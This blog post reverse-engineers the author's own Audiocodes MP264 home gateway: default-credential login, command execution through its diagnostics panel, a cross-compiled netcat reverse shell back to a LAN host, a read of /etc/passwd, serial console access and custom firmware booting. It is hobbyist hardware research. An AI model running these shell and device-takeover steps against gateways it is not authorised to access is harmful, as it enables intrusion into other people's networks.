Experimenting with the Audiocodes MP264



The Audiocodes MP264 is a gateway device which was issued to customers of some ISPs in Australia (such as iPrimus, Dodo and Commander), New Zealand (WXC) and Israel (012). It has four Gigabit Ethernet ports, on-board WiFi, one xDSL port, two FXS ports, two USB 2.0 ports and lots of LEDs. It also appears that there is a place on the board to solder on a third USB port.

There appear to be multiple devices with the name "MP264". For that reason, it may help you to know that the sticker on the box mine came in says "Model: MP264DB" and "REV.: P06"

As the NBN is being rolled out across Australia, it seems that many people are deciding to dispose of their old gateways, so if you're lucky, you should be able to find one of these quite cheaply.

This article is quite long, so is divided into three main sections.

In the first section, we learn how to upload and run arbitrary code through the stock firmware's web interface, and demonstrate this by constructing a reverse shell.

In the second section, we use learn to use the serial console, work out how .rms firmware files are structured and how to safely test upload and test firmware files without having to erase the OEM firmware which comes with the device.

In the third section, we successfully get LEDE running on the device, but are only able to get the Ethernet to work.

Web interface

Passwords

Let's begin our analysis by starting with the stock firmware. According to this website, the gateway's IP address is 192.168.2.1, and the default username/password combination for the web interface is admin/admin. I test this, and it works. I'm in.

Telnet

Doing an nmap scan on the device, we can see that there are lots of services running:

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-21 21:35 AEDT
Nmap scan report for CommanderMP264.home (192.168.2.1)
Host is up (0.017s latency).
Not shown: 65517 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
515/tcp  open  printer
631/tcp  open  ipp
992/tcp  open  telnets
2555/tcp open  compaq-wcp
2869/tcp open  icslap
4567/tcp open  tram
5060/tcp open  sip
5061/tcp open  sip-tls
8023/tcp open  unknown
8080/tcp open  http-proxy
8443/tcp open  https-alt
9390/tcp open  otp
9391/tcp open  unknown

The telnet service looks promising, and it seems that it should have the admin/admin username/password combination, but when I try it, it doesn't work. Looking in the logs (click "Security", then "Logs"), we see that when you login with invalid credentials (e.g. admin/a), you get the log message 'Invalid password. Username: admin' and when you log in with admin/admin credentials, you get the log message 'Unauthorized User "admin"'. I haven't been able to find a way to authorise users. Thus, it seems that although the authentication succeeded, the device is set up to refuse telnet access.

So we need to find something else.

Remote code execution through the Diagnostics panel

Looking further into the web interface, we see that there is a "Diagnostics" section under the "Advanced" menu. Click on the "Debug" tab. There is an option to run an arbitrary command and display the output.


When we try entering the "help" command, we see that we are not in a familiar UNIX shell:

help   Show help for commands within this menu

Usage:
 help all - show all available commands in the current level
 help all --html - show an html format table with commands in all levels
 help [category]... <category> - show commands in a certain category
 help [category]... <command> - show detailed help for a specific command
 help -s <string> - search for categories/commands containing the string

Availble help Categories
help switch - show help about HW switch commands
help wbm - show help about API for WBM debugging
help pvc - show help about PVC scan related commands
help media_server - show help about Media Server commands
help voip - show help about Show VoIP statistics
help crash - show help about saves and watch serial logs and crashes
help atm_oam - show help about ATM OAM Commands, used for IPC from the Daemon
help factory - show help about Manufacturing factory related commands
help conf - show help about Read and write configuration data
help 3g - show help about 3G Commands
help upnp - show help about UPnP commands
help watchdog - show help about Watchdog configuration and control
help qos - show help about Control and display QoS data
help psmart - show help about psmart configuration and control
help cwmp - show help about CWMP related commands
help bridge - show help about API for managing ethernet bridge
help fastpath - show help about FastPath (PSE) commands
help firewall - show help about Control and display Firewall and NAT data
help connection - show help about API for managing connections
help inet_connection - show help about API for managing internet connections
help listener - show help about Listener related commands
help dsl_cmd - show help about xDSL command for debug
help buttons - show help about Button management
help bluetooth - show help about Bluetooth command for MP264
help dect - show help about dect module command line for testing
help rtp_cmd - show help about RTP debug commands
help redundant_proxy_cmd - show help about redundant proxy feature command line for debug
help leds - show help about leds commands category
help slic_dsp_cmd - show help about SLIC and DSP commands (read/write/dump SLIC registers, activate dsp commands)
help wireless - show help about Wireless commands
help misc - show help about API for miscellaneous tasks
help firmware_update - show help about Firmware update commands
help conf_upgrade - show help about Configuration update commands
help log - show help about Controls logging behavior
help dev - show help about Device related commands
help kernel - show help about Kernel related commands
help system - show help about Commands to control execution
help flash - show help about Flash and loader related commands
help net - show help about Network related commands
help cmd - show help about Commands related to the Command module
I've put the output from "help all" and "help all --html" on Github. The output of "help all --html" does not include all commands that the OpenRG shell is capable of running.

With a bit of experimentation, we can run commands through busybox like this:
system exec ls /
bin dev etc home lib mnt proc sys tmp usr var

Great! Now, with the command system exec ls -R / , we can get a list of all files on the device.

Furthermore - as expected - if we use "cat" on a text file, we can see its contents:
system exec cat /etc/passwd
admin::0:0:Administrator::
advanced::101:100:Advanced::
super::102:100:SuperUser::
guest::1:1:Guest::


If we use "cat" on a binary file, we are presented with a download. Be careful, though, because the file downloaded may not always be exactly the same as the file on the device.


USB setup and alternatives

Now, if you place a USB into one of the two USB ports, you can use this to transfer files to and from the device. If all goes well, the filesystem on your USB should have been automatically mounted in a directory under /mnt/fs. Use system exec ls /mnt/fs to find the name of the directory where your USB's filesystem is mounted. If you can't get this to work, then:
1. Make sure your USB is NTFS-formatted. Many common filesystems do not appear to be supported, but NTFS definitely is.
2. Play with the settings in the Samba setup page ("Advanced", then "File Server").
3. Try to mount the USB manually with the mount command.

If you don't have a USB, the smbcp command may be useful for transferring files over the network, but I haven't tried this.

For the remainder of this post, I will assume that your USB is mounted at /mnt/fs/B. You might need to change this depending on where your USB is mounted.

Copying files using star

Hopefully, we should be able to get a copy large parts of the filesystem by using a command like system exec cp -r /bin /mnt/fs/B. However, when we try it, we see that only some files are copied. After much experimentation, I found that the reason for this was that commands executed through the Diagnostics panel are terminated after 30 seconds. I have tried increasing this by changing various POST parameters with Burp Suite's proxy, but without success.

Because of this time limit, it seems that I will have to make multiple requests to ensure that I get all of the files that I want. To ensure that I don't miss anything due to the time, I think that it would be easier to create a single tarball containing lots of files for each transfer that I do. Unfortunately, there is no "tar" program on the device, but after testing lots of different binaries, I found the "star" command, which is similar.

I'd never heard of "star" before, and although I could find several references to it on the internet, I couldn't find anywhere to download a copy of it. Fortunately, the author's name appears in the output of system exec star -version, so I was able to ask them for a copy:
star 1.4

Copyright (C) 1985, 88-90, 92-96, 98, 99, 2000-2002 J�rg Schilling
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


It turns out that it is still being developed as part of Schily Tools. I download this and follow the instructions to compile it.

Now, I am able to get copies of most of the files on the device by running the commands:

system exec star -c /bin file=/mnt/fs/B/bin_root.star
system exec star -c /etc file=/mnt/fs/B/etc_root.star
system exec star -c /home file=/mnt/fs/B/home_root.star
system exec star -c /lib file=/mnt/fs/B/lib_root.star
system exec star -c /usr file=/mnt/fs/B/usr_root.star
system exec star -c /mnt/cramfs/bin file=/mnt/fs/B/bin_cramfs.star
system exec star -c /mnt/cramfs/etc file=/mnt/fs/B/etc_cramfs.star
system exec star -c /mnt/cramfs/home file=/mnt/fs/B/home_cramfs.star
system exec star -c /mnt/cramfs/lib file=/mnt/fs/B/lib_cramfs.star
system exec star -c /mnt/cramfs/usr file=/mnt/fs/B/usr_cramfs.star


Then, you can extract these onto your development computer using the copy of star which you compiled.

Creating a local chroot

Once you've extracted these archives, you can then set up a chroot for testing if you want. The instructions which follow will set up a working chroot, but when using the shell, you need to preface all commands with "qemu-mips-static" and use the full name of the path. So instead of typing "ls", you need to type "qemu-mips-static /bin/ls".

First, install the necessary programs:
$ sudo apt install qemu-user-static binfmt-support
Then, copy qemu-mips-static into the "bin" folder in your chroot directory:
$ cp /usr/bin/qemu-mips-static chrootdirectory/bin
Finally, chroot in:
$ sudo chroot chrootdirectory /bin/qemu-mips-static /bin/sh

Compiling a "Hello World" program for the MP264

Next, let's see if we can run our own arbitrary software on the gateway. We'll start by creating a simple "Hello World" application. This is the program that we want to compile:
#include <stdio.h>
int main() {
        printf("Hello world!\n");
        return 0;
}


At this point, I could tell you about the trouble I went through trying to compile code on my laptop running a bleeding-edge version of Linux, but instead I'm just going to say that it's not worth it. In theory, it should be as simple as using something like crosstool-ng to make a toolchain for the kernel and library versions running on the gateway (Linux 2.6.21.5, uClibc 0.9.29). In practice, when new build tools are developed, they are often not backwards compatible, and will cause old software to break in obscure ways that are hard to fix. Also, with this gateway, it seems that if you use the wrong tools to compile, you will get error messages such as "No such file or directory" (when the file exists) or "applet not found". (The clearest message I have received is "FATAL: Kernel too old").

For this reason, you can save yourself a lot of trouble if you use a Debian Squeeze VM to compile your software. (For reference, I installed using debian-6.0.10-i386-CD-1.iso.) Because Debian Squeeze is old, you will have to make minor changes to make it work properly. Here's an overview of the changes that you should make after installing to get a good compilation environment:
1. Add these repositories to /etc/apt/sources.list:
deb http://archive.debian.org/debian-archive/debian squeeze main contrib non-free
deb http://emdebian.org/debian squeeze main
2. Run this command to ignore the age of the repository:
$ echo 'Acquire::Check-Valid-Until "false";' >/etc/apt/apt.conf.d/90ignore-release-date
3. Get the new package information:
$ apt-get update
4. Install the cross-compiler:
$ apt-get install gcc-4.4-mips-linux-gnu

To compile our "Hello World" program, it is as simple as running the command:
$ mips-linux-gnu-gcc -static -o hello hello.c

The "-static" flag is very important! If you do not include it, the output file will attempt to find libraries, such as glibc, which are not present on the device. There is probably a way to compile dynamic binaries for this device, but I haven't looked into it.

Executing your "Hello World" program

Now, we copy the output binary from the VM onto a USB, and then insert the USB into the gateway. Occasionally, I have been able to run the binaries directly from the USB stick, but sometimes I get a "Permission denied" error. If this happens to you, copy the binaries somewhere else, like /bin. You can do this with the command:
system exec cp /mnt/fs/B/hello /bin

From now on, I will assume that the binary is located at /bin/hello.

It seems that "system exec" only runs programs that come on the device by default, but I can't say for sure. What I can say for sure is that you cannot execute your binary using the command system exec /bin/hello. This isn't a major problem, because the command can be modified to system exec sh -c "/bin/hello". (The quotation marks round the actual are important.)

When we try this, we see that our program has run successfully.

Creating an interactive reverse shell

Let's try making a more useful program now. I'd really like to have an interactive shell. An interactive shell is useful because it allows us to give input to commands that require it. In this case, it would also be useful because it would allow us to test commands much more quickly.

Looking around, we see that most of the tools which could be used to create a reverse shell are not present, so it looks like we will have to compile our own. Netcat is easy to use, but when I try to compile it, I am informed that some C functions cannot be compiled statically.

This problem was avoided by simply compiling a different implementation of netcat, taking the advice from this tutorial.

This netcat executes commands using whatever shell is located at /bin/sh. Unfortunately, the MP264's default shell ("lash") does not work well with this setup, so we need to use bash instead. We have to make a minor change to the source of netcat - in the file src/netcat.c, you need to change "/bin/sh" to "/bin/bash" in the line:
execl("/bin/sh", p, "-c", opt_exec, NULL);

To cross-compile netcat, issue the commands:
$ apt-get install build-essential
$ CPPFLAGS="-static" CFLAGS="-static" ./configure --host=mips-linux-gnu --build=i386-linux-gnu && make

The resulting binary will be located at src/netcat.

The good news is that you don't need to cross-compile bash, since Debian provides a "bash-static" package. We can download the Squeeze version and extract the binary:
$ wget -c http://archive.debian.org/debian-archive/debian/pool/main/b/bash/bash-static_2.05b-26_mips.deb
$ mkdir extract && dpkg --extract bash-static_2.05b-26_mips.deb extract

And the file will be located at extract/bin/bash-static.

We copy the files onto a USB, and then we copy the files from the USB to the gateway:
system exec sh -c "cp /mnt/fs/B/bash-static /bin/bash"
system exec sh -c "cp /mnt/fs/B/netcat /bin"

Now, finally, our reverse shell is complete! To use it, listen for the reverse shell on the computer you want to connect from:
$ nc -nvlp 12345

Then, from the gateway, send over the shell:
system exec sh -c "/bin/netcat -e /bin/bash 192.168.2.10 12345"

Remember to replace 192.168.2.10 with the IP address of the computer that you are trying to connect from. As is to be expected from a reverse shell, you will not see any prompts for commands - just start writing your commands, and press enter when you're done. Here's a photo of a working reverse shell:


Note that your connection will still terminate every 30 seconds because of the diagnostics panel. I imagine that, to get around this, it may be possible to replace a binary you don't need with a script that creates the reverse shell, and then perform some action in the web interface which runs that binary. I haven't tested this, though, because at this stage I decided to open up the device and start working with the serial console.

Serial console and firmware analysis/upload

Setting up the serial console

Here's what the device looks like inside:

To find the serial console, I used a multimeter, this guide and some guesswork when my results didn't match. In this photo, you can see me pointing to where the serial port is.


On your board, the serial console is labelled "J14", and one of the pins is labelled "1".

Using that "1" as a reference point, the pin layout is:
[VCC] 1
[RX]
[TX]
[GND]

I'm not going to cover how to connect to a serial console here, but you will almost certainly need a USB-Serial adapter to do so. There's no need to connect to the VCC pin (I haven't done so), and if you can avoid it, it's safer not to use it. You will need to connect the remaining pins, though. Remember that RX connects to TX, TX connect to RX and GND connects to GND.

After you've physically connected to the serial console, run the command:
$ picocom -b 115200 /dev/ttyACM0
(replacing /dev/ttyACM0 with the name of your serial adapter)
and turn on the device.

Looking at the serial console's output, and the types of shells available to us.

Now, you should see the a bootlog which starts like this (I've put the full bootlog on Github):
ROM VER: 1.1.4
CFG 06
NAND
NAND Read OK

ROM VER: 1.1.4
CFG 06
NAND
NAND Read OK
DDR autotuning Rev 0.3c
DDR size from 0xa0000000 - 0xa3ffffff
DDR check ok... start booting...



U-Boot 2010.06-LANTIQ-v-2.0.26-dirty (Aug 19 2015 - 11:45:23 on kevinzhu@Selfmade-ThinkPad)

CLOCK CPU 500M RAM 250M
DRAM:  64 MiB
Now running in RAM - U-Boot at: 83f80000
NAND:  NAND device: Manufacturer ID: 0xc2, Chip ID: 0xf1 (Macronix NAND 128MiB 3,3V 8-bit)
128 MiB
Bad block table found at page 65472, version 0x01
Bad block table found at page 65408, version 0x01
nand_read_bbt: Bad block at 0x000001ac0000
*** Warning - bad CRC or NAND, using default environment

In:    serial
Out:   serial
Err:   serial
LEDs init: RED....GREEN....Done
Net:   Switch Auto Polling value = 0
GPHY FW load for A2x !!
GPHY FIRMWARE LOAD SUCCESSFULLY AT ADDR : 130000
Internal phy(GE) firmware version: 0x0405
vr9 Switch

Type "run flash_nfs" to mount root filesystem over NFS

Hit any key to stop autoboot:  0
Creating 1 MTD partitions on "nand0":
0x000000100000-0x000002900000 : "mtd=0"
UBI: attaching mtd1 to ubi0
UBI: physical eraseblock size:   131072 bytes (128 KiB)
UBI: logical eraseblock size:    129024 bytes
UBI: smallest flash I/O unit:    2048
UBI: sub-page size:              512
UBI: VID header offset:          512 (aligned 512)
UBI: data offset:                2048
UBI: attached mtd1 to ubi0
UBI: MTD device name:            "mtd=0"
UBI: MTD device size:            40 MiB
UBI: number of good PEBs:        319
UBI: number of bad PEBs:         1
UBI: max. allowed volumes:       128
UBI: wear-leveling threshold:    4096
UBI: number of internal volumes: 1
UBI: number of user volumes:     1
UBI: available PEBs:             27
UBI: total number of reserved PEBs: 292
UBI: number of PEBs reserved for bad PEB handling: 6
UBI: max/mean erase counter: 2838/195


Note that there are several points at which the boot process can be interrupted, each of which will give you a different type of console.

If you hit any key at the "Hit any key to stop autoboot:" stage, then you will be given a console for the bootloader, u-boot.

If you hit escape at the "Press ESC to enter BOOT MENU mode." stage, or if you just wait for the boot process to complete and then press enter, then you will be given types of OpenRG command prompts. Try looking at both, to see the options avaliable to you in each one.
If you're prompted for a username and password, as always, it is admin/admin. If you want to get to a busybox shell, try running "system shell".

Getting a copy of the firmware running on our device

Something which stands out in the bootlog is a URL from which the firmware was downloaded: http://tr069-fw.m2core.com.au/MP264_4_4_3P_p085_build_02_15_Jun_2016.rms. This link still works at the time I am writing this.

Now that we have the firmware, let's see if we can boot from it.

Discovering how the boot process works

To see how the boot process works, let's see what the bootloader does to boot normally. To get a u-boot console, turn on the gateway and press any key. The "help" command lets us see what options are compiled into this version of u-boot:

VR9 # help
?       - alias for 'help'
base    - print or set address offset
bootm   - boot application image from memory
bootp   - boot image via network using BOOTP/TFTP protocol
chpart  - change active partition
cmp     - memory compare
cp      - memory copy
crc32   - checksum calculation
dualimage- dualimage - sets openrg_start and openrg_size according to the current active image.

echo    - echo args to console
go      - start application at address 'addr'
help    - print command description/usage
loop    - infinite loop on address range
md      - memory display
mm      - memory modify (auto-incrementing address)
mtdparts- define flash/nand partitions
mtest   - simple RAM read/write test
mw      - memory write (fill)
nand    - NAND sub-system
nboot   - boot from NAND device
nm      - memory modify (constant address)
printenv- print environment variables
rarpboot- boot image via network using RARP/TFTP protocol
reset   - Perform RESET of the CPU
run     - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv  - set environment variables
tftpboot- boot image via network using TFTP protocol
ubi     - ubi commands
upgrade - upgrade - forward/backward copy memory to pre-defined flash location

version - print monitor version


And the "printenv" command lets us see what custom commands and variables are:

VR9 # printenv
bootcmd=ubi part UBI; dualimage; set verify n; go ${openrg_start} $(flash_size)
bootdelay=5
baudrate=115200
preboot=echo;echo Type \"run flash_nfs\" to mount root filesystem over NFS;echo
bootfile="uImage"
mem=62M
phym=64M
ipaddr=192.168.1.1
serverip=192.168.1.20
ethaddr=00:E0:92:00:01:40
netdev=eth0
console=ttyS0
baudrate=115200
tftppath=
loadaddr=0x81000000
rootpath=/mnt/full_fs
rootfsmtd=/dev/mtdblock3
nfsargs= setenv bootargs root=/dev/nfs rw nfsroot=$(serverip):$(rootpath)
ramargs=setenv bootargs root=/dev/ram rw
addip=setenv bootargs $(bootargs) ip=$(ipaddr):$(serverip):$(gatewayip):$(netmask):$(hostname):$(netdev):on
addmisc=setenv bootargs $(bootargs) console=$(console),$(baudrate) ethaddr=$(ethaddr) phym=$(phym) mem=$(mem) panic=1 mtdparts=$(mtdparts) vpe1_load_addr=0x81f00000 vpe1_mem=1M ethwan=$(ethwan)
flash_nfs=run nfsargs addip addmisc;bootm $(kernel_addr)
net_nfs=tftp $(loadaddr) $(tftppath)$(bootfile);run nfsargs addip addmisc;bootm
net_flash=tftp $(loadaddr) $(tftppath)$(bootfile); run flashargs addip addmisc; bootm
net_ram=tftp $(loadaddr) $(tftppath)$(bootfile); run ramargs addip addmisc; bootm
u-boot=u-boot.lq
rootfs=rootfs.img
firmware=firmware.img
fullimage=fullimage.img
totalimage=totalimage.img
load=tftp $(loadaddr) $(u-boot)
update=protect off 1:0-2;era 1:0-2;cp.b $(loadaddr) B0000000 $(filesize)
flashargs=setenv bootargs root=$(rootfsmtd) ro rootfstype=squashfs init=/etc/preinit
flash_flash=run flashargs addip addmisc; bootm $(kernel_addr)
update_nandboot=tftp $(loadaddr) $(tftppath)u-boot-nand.bin; nand erase clean 0 0x100000; nand write.partial $(loadaddr) 0 $(filesize)
update_kernel=tftpboot $(loadaddr) $(tftppath)$(bootfile);upgrade $(loadaddr) $(filesize)
update_rootfs=tftpboot $(loadaddr) $(tftppath)$(rootfs); upgrade $(loadaddr) $(filesize)
update_firmware=tftpboot $(loadaddr) $(tftppath)$(firmware);upgrade $(loadaddr) $(filesize)
update_fullimage=tftpboot $(loadaddr) $(tftppath)$(fullimage);upgrade $(loadaddr) $(filesize)
update_totalimage=tftpboot $(loadaddr) $(tftppath)$(totalimage);upgrade $(loadaddr) $(filesize)
reset_uboot_config=nand write.partial 80400000 $(f_ubootconfig_addr) $(f_ubootconfig_size)
reset_ddr_config=nand write.partial 80400000 $(f_ddrconfig_addr) $(f_ddrconfig_size)
mtdparts=mtdparts=nand0:0x2800000@0x100000(UBI)
mtdids=nand0=nand0
part0_begin=0x00000000
part1_begin=0x00040000
part2_begin=0x000C0000
part3_begin=0x002C0000
part4_begin=0x07000000
part5_begin=0x07040000
part6_begin=0x07080000
total_part=7
flash_end=0x07FFFFFF
data_block0=uboot
data_block1=firmware
data_block2=kernel
data_block3=rootfs
data_block4=sysconfig
data_block5=ubootconfig
data_block6=fwdiag
total_db=7
f_uboot_addr=0x00000000
f_uboot_size=0
f_ubootconfig_addr=0x07040000
f_ubootconfig_size=0x10000
f_ubootconfig_end=0x0704FFFF
f_kernel_addr=0x000C0000
f_kernel_size=0
f_kernel_end=IFX_CFG_FLASH_KERNEL_IMAGE_END_ADDR
f_rootfs_addr=0x002C0000
f_rootfs_size=0x06D40000
f_rootfs_end=IFX_CFG_FLASH_ROOTFS_IMAGE_END_ADDR
f_firmware_addr=0x00040000
f_firmware_size=0
f_sysconfig_addr=0x07000000
f_sysconfig_size=0x40000
f_fwdiag_addr=0x07080000
f_fwdiag_size=0x40000
f_calibration_addr= IFX_CFG_FLASH_CALIBRATION_START_ADDR
f_calibration_size=IFX_CFG_FLASH_CALIBRATION_CFG_SIZE
f_ddrconfig_addr=0x000DFFE8
f_ddrconfig_size=0x18
f_ddrconfig_end=0x000DFFFF
db=tftp $(loadaddr) openrg.img; go $(loadaddr) $(flash_size)
update_ubi=nand erase 0x100000 0x7f00000;tftp 0x80200000 ubi262.img;nand write.e 0x80200000 0x100000 $(filesize)
flash_size=128
stdin=serial
stdout=serial
stderr=serial
ethact=vr9 Switch

Environment size: 3573/65532 bytes

In particular, we can see that the boot command is:
ubi part UBI; dualimage; set verify n; go ${openrg_start} $(flash_size)

We can see that ${openrg_start} is 0x81000000, so that looks like a good area of memory to inspect. Let's run each part of this command separately, and see what happens to 0x81000000 after each part:

VR9 # ubi part UBI
...
VR9 # md 0x81000000
81000000: 0411001d 00c43023 3c0181c1 ac331000    ......0#<....3..
81000010: 3c0181c1 ac341004 02a03021 02c03821    <....4....0!..8!
81000020: 02002021 3c088100 250811b0 0100f809    .. !<...%.......
81000030: 02202821 3c088100 25080118 0100f809    . (!<...%.......
81000040: 24040059 1000ffff 00803821 10c00008    $..Y......8!....
81000050: 24c3ffff 2406ffff 90a20000 2463ffff    $...$.......$c..
81000060: 24a50001 a0820000 1466fffb 24840001    $........f..$...
81000070: 03e00008 00e01021 00801021 10c00006    .......!...!....
81000080: 24c3ffff 2406ffff 2463ffff a0850000    $...$...$c......
81000090: 1466fffd 24840001 03e00008 00000000    .f..$...........
810000a0: 03e00008 00000000 27bdffe8 afb00010    ........'.......
810000b0: 2402000a 7c048420 16020005 afbf0014    $...|.. ........
810000c0: 3c028100 24420118 0040f809 2404000d    <...$B...@..$...
810000d0: 3c04be10 24030010 8c820c48 7c422a00    <...$......H|B*.
810000e0: 1043fffd 3c02be10 ac500c20 8fbf0014    .C..<....P. ....
810000f0: 8fb00010 03e00008 27bd0018 00000000    ........'.......
VR9 # dualimage

Looking for active section/image:
  0. section: type:1 not an image
  1. section: type:3 not an image
  2. section: type:3 not an image
  3. section: type:2 image. reading section header @0x12c4f6c...
Volume OpenRG found at volume id 1
read 148 bytes from volume 1 to 81000000(buf address)
     counter:0x2
  4. section: type:2 image. reading section header @0x22a1f6c...
Volume OpenRG found at volume id 1
read 148 bytes from volume 1 to 81000000(buf address)
     counter:0x3

Verifying image(s):
  4. section: image. reading image content 0xc11000@0x12c5000...
Volume OpenRG found at volume id 1
read 12652544 bytes from volume 1 to 81000000(buf address)
     checking ... ok: 'Image downloaded from: http://tr069-fw.m2core.com.au/MP264_4_4_3P_p085_build_02_15_Jun_2016.rms' 0xc11000@0x81000000 count:0x3

Active image: 0x81000000.
VR9 # md 0x81000000
81000000: 04110001 00000000 03e08021 3c118100    ...........!<...
81000010: 26310008 00809821 00a0a021 0080a821    &1.....!...!...!
81000020: 00a0b021 02009021 02519023 12400008    ...!...!.Q.#.@..
81000030: 00000000 3c048100 248400b4 00922821    ....<...$.....(!
81000040: 3c068100 24c61730 0411001b 00c43023    <...$..0......0#
81000050: 3c088100 25081720 8d1d0000 3c0481c1    <...%.. ....<...
81000060: 24841000 00002821 3c0681c1 24c65020    $.....(!<...$.P

81000070: 0411001d 00c43023 3c0181c1 ac331000    ......0#<....3..
81000080: 3c0181c1 ac341004 02a03021 02c03821    <....4....0!..8!
81000090: 02002021 3c088100 250811b0 0100f809    .. !<...%.......
810000a0: 02202821 3c088100 25080118 0100f809    . (!<...%.......
810000b0: 24040059 1000ffff 00803821 10c00008    $..Y......8!....
810000c0: 24c3ffff 2406ffff 90a20000 2463ffff    $...$.......$c..
810000d0: 24a50001 a0820000 1466fffb 24840001    $........f..$...
810000e0: 03e00008 00e01021 00801021 10c00006    .......!...!....
810000f0: 24c3ffff 2406ffff 2463ffff a0850000    $...$...$c......
VR9 #

Thus, we can see that after dualimage is run, the following is added to the top of the image:
81000000: 04110001 00000000 03e08021 3c118100    ...........!<...
81000010: 26310008 00809821 00a0a021 0080a821    &1.....!...!...!
81000020: 00a0b021 02009021 02519023 12400008    ...!...!.Q.#.@..
81000030: 00000000 3c048100 248400b4 00922821    ....<...$.....(!
81000040: 3c068100 24c61730 0411001b 00c43023    <...$..0......0#
81000050: 3c088100 25081720 8d1d0000 3c0481c1    <...%.. ....<...
81000060: 24841000 00002821 3c0681c1 24c65020    $.....(!<...$.P 

We need a way to get the bytes, and it seems the only way that u-boot will show them to us is by using the md command. To convert the output of this command into an ordinary binary file, I've made some scripts. Clone the Github repository and then run the command:
$ ./md2bin.sh dualimageheader
And the output will be in dualimageheader.bin

I have been unable to determine what these bytes do, but they are needed to boot successfully, and it appears that they are constant. For this reason, we should append these bytes to the front of any image that we upload.

Looking at the stock .rms file in a hex editor, we see that the bytes "0411001d 00c43023 3c0181c1 ac331000" appear at offset 0x2fd. To me, this indicates that the bytes which appear before this are just some form of header which is not needed for booting. To strip these headers from our .rms file, we use the command:
$ dd if=MP264_4_4_3P_p085_build_02_15_Jun_2016.rms of=stripped.img bs=1 skip=$((0x2fd))


Booting over TFTP

Now, to create a file which will be bootable using TFTP, we concatenate the two files that we have created:
$ cat dualimageheader.bin stripped.img > upload.bin

Now, we are in a position to boot the .rms file from the network, and we will do so using TFTP. You will need to be connected through ethernet for this to work; you can't use TFTP over the serial console. Assign your computer a static IP address of 192.168.1.20 and then - from the u-boot console - run the commands:
VR9 # tftpboot 0x81000000 upload.bin
VR9 # go 0x81000000 128

As we can see, the router has booted successfully, without touching the image stored in flash. We will use this for testing in future.

Extracting the firmware with firmware-mod-kit

Now that we know how to boot from a .rms file, let's see if we can create our own.

To begin, let's use firmware-mod-kit to begin analysing the image that we have. The version of firmware-mod-kit distributed with my Kali (0.99-1kali2) appears to be outdated, and I had problems getting it to work. This appears to be because development on the version they are tracking has stopped. However, rampageX appears to have forked the project and is actively working on it, and that is the version that I am using. This may be an incorrect interpretation of events, and I'm happy to be corrected if someone knows what's going on.

Anyway, to extract the firmware, you must first install the dependencies:
$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
Then, use the command:
$ ./extract-firmware.sh MP264_4_4_3P_p085_build_02_15_Jun_2016.rms.

We can see two parts to the firmware in fmk/image_parts: header.img and rootfs.img. firmware-mod-kit has automatically extracted the rootfs into fmk/rootfs, and looking through it, it appears to match what is on the device.

However, as I was writing this blog post, I noticed that this is not technically correct. Only the first 0xffff (65535) bytes of each file are correctly extracted - everything after that is replaced with zeroes. This almost certainly has something to do with the block size, but I'm not sure what. I will report this bug upstream.

Creating firmware with a custom filesystem

I now want to see if I can make a custom, and regenerate the firmware image, but to my surprise, there was no tool to do so - OpenRG devices use a custom filesystem: cramfs, but with LZMA compression instead of gzip/zlib, and I could not find any tool that was capable of creating these archives.

So I decided to make one myself. In a similar way to the person who made uncramfs-lzma, I downloaded the GPL archive of an OpenRG device, found the code which generates a cramfs-lzma image, separated it into a standalone package and then went through a trial and error process to make it compile on a modern Linux system.

Like uncramfs-lzma, it seems to have some problems with files over the block size, but it's also possible that it works correctly and I'm only thinking that there are errors because of testing with uncramfs-lzma. (It's worth noting that the MP264 is able to read archives created by mkcramfs-lzma, even in some cases where uncramfs-lzma can't, but I have no easy way of knowing if it is reading them correctly. Until uncramfs-lzma is fixed, it will be difficult to debug mkcramfs-lzma.)

You can download mkcramfs-lzma here. Pull requests would be welcomed if you can find a way to make it work better.

To create a filesystem using this tool, run the command:
$ ./mkcramfs-lzma -b 65536 fs fs.cramfs
where fs is the name of the directory that you want to compress and fs.cramfs is the name of the output file you want to generate.

To generate a .rms file that contains this new filesystem, it is as simple as concatenating two files:
$ cat header.img fs.cramfs > new_firmware.rms

When using custom images with the above method, keep in mind that the system will always run the file located at /bin/init on startup.

Analysing the header.img

So, we can customise the rootfs, but we still don't know much about the header.img. Let's use binwalk to find out what it contains.

Using the command binwalk -e -Z header.img, we can search for LZMA-compressed sections of the firmware image. This can take a long time to run, so if you just want to extract the image, I'll let you know that the LZMA-compressed section of the firmware image begins at 0x19C6 (6598), and you can extract it using the command binwalk -e -Z -S -o 6598 header.img.

Then, to find out what is contained in the image, we need to run binwalk again:
$ cd _header.img.extracted
$ binwalk -e 19C6

If you get an error which says that you don't have some cramfs-related programs installed, copy them to /usr/local/bin from firmware-mod-kit.

The output from this command is on Github, but the important things that I noticed were:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3026944 0x2E3000 Linux kernel version "2.6.21.5 #18 Wed Jun 15 14:04:23 IDT 2016"
3907584 0x3BA000 gzip compressed data, maximum compression, from Unix, last modified: 2016-06-15 11:04:15
3932160 0x3C0000 CramFS filesystem, little endian, size: 851968 version 2 sorted_dirs CRC 0xB07AC0F9, edition 0, 72 blocks, 42 files

So it seems that the kernel starts at 0x2E3000, there is some compressed data at 0x3BA000 (binwalk says gzip, but I think it's CPIO. Haven't done much testing.) and there is another CramFS filesystem at 0x3C0000.
The CramFS is quite interesting. It contains only the directory structure /lib/modules, and under that, we see what appear to be kernel modules:
ac494_mod.o
ac49x_dsp_mod.o
be_pppoa_mod.o
be_pppos_mod.o
btn.o
cdc_ether.o
cdc_ncm.o
dect_drv_mod.o
drv_dsl_cpe_api_mod.o
drv_ifxos_mod.o
ifxmips_usif_uart_mod.o
ifxusb_driver_mod.o
igmp_proxy_mod.o
ipsec_1des.o
ipsec_3des.o
ipsec_aes.o
ipsec_md5.o
ipsec_null.o
ipsec_sha1.o
kleds_mod.o
log_chardev.o
nb_rt.o
one_module.o
phone_mod.o
pppoe_relay.o
qos_ingress.o
rg_ipsec.o
rg_ipv4.o
rg_klog.o
rg_klog_chardev.o
rg_klog_ram_be.o
rg_pppoe_relay.o
rg_usfs.o
rndis_host.o
rt3062.o
rtp.o
silabs_fxs_3226_drv_mod.o
tcp_mss.o
